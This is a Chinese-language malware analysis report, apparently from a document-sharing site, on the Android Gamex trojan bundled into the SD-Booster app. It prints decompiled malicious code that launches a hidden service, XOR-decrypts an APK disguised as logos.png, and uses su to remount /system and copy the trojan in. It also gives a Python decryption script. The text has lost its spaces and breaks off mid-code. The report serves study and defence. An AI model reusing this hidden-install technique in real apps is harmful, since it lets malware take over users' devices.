Android Gamex木马分析报告

《Android Gamex木马分析报告》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、AndroidGamex木马分析报告图/文非虫5月刚开始就弄到了这个Gamex木马样本，该样本破坏性不大，不过对于安全分析人员来说，这可是很好的研究素材，今天我就将这个样本的完整分析过程拿来与大家分享。工具ApkTool、dex2jar、DJJavaDecompiler分析必备python2.6编写解密脚本分析这个样本通过捆绑软件SD-Booster来达到感染的目的，在安装运行被感染的SD-Booster时，木马就会自动安装进Android系统，为了尽快找到感染部分，下载未感染的SD-Booster进行反编译对比，结果如图1所示：图1程序被植入了“com.andr

2、oid.md5”与“com.gamex.inset”两个包，首先找到植入程序的加载处，在SDBoost类的onCreate（）方法中插入了如下代码：publicvoidonCreate(BundleparamBundle){super.onCreate(paramBundle);A.b(this);…｝A是“com.gamex.inset”包中的类，A.b（）方法代码如下：publicstaticvoidb(ContextparamContext){context=paramContext;IntentlocalIntent=newIntent(paramCont

3、ext,Settings.class);ComponentNamelocalComponentName=paramContext.startService(localIntent);}直接启动的是Settings.class服务，这个服务很简单，启动代码是这样的：publicvoidonStart(IntentparamIntent,intparamInt){super.onStart(paramIntent,paramInt);newSettings.1(this).start();}classSettings$1extendsThread{publicvoid

4、run(){if((!A.a)&&(A.c())&&(A.d(A.context))){A.a=1;SettingslocalSettings=this.this$0;newC(localSettings).start();}while(true){return;this.this$0.stopSelf();}}}A.a初始化为0，用来判断木马是否已经运行，A.c()只有一行代码判断SD卡是否已经准备好，为后面的病毒下载做准备，A.d()判断木马程序“com.android.setting”是否已经安装，如果没有安装且满足上面的条件就启动C线程来安装木马，C类的r

5、un()方法在Dex2jar中显示不了，在DJJavaDecompiler中可以看到完整的反编译的代码，线程通过context.getAssets().open("logos.png")读取木马文件，然后通过解密运算得到最终的apk安装文件，解密代码我用python实现如下：#-*-coding:utf-8-*-importsysdefmain(filename):infile=file(filename,"rb")outfile=file(filename[:-4]+".apk","wb")while1:c=infile.read(1)ifnotc:breakc

6、=chr(ord(c)^18)outfile.write(c)outfile.close()infile.close()if__name__=='__main__':main(sys.argv[1])解密只是将整个文件与0x12异或而以，运行“pythondecrypt_apk.pylogos.png”就会生成logos.apk木马文件。在上一步的解密完成后，调用了a(String)方法来安装木马，代码如下：protectedstaticvoida(StringparamString){try{ProcesslocalProcess=Runtime.getRunt

7、ime().exec("su");OutputStreamlocalOutputStream=localProcess.getOutputStream();DataOutputStreamlocalDataOutputStream=newDataOutputStream(localOutputStream);localDataOutputStream.writeBytes("mount-oremountrw/system");Stringstr="cp-i"+paramString+"/system/app/ComAndroidSetting.apk";l

8、ocalD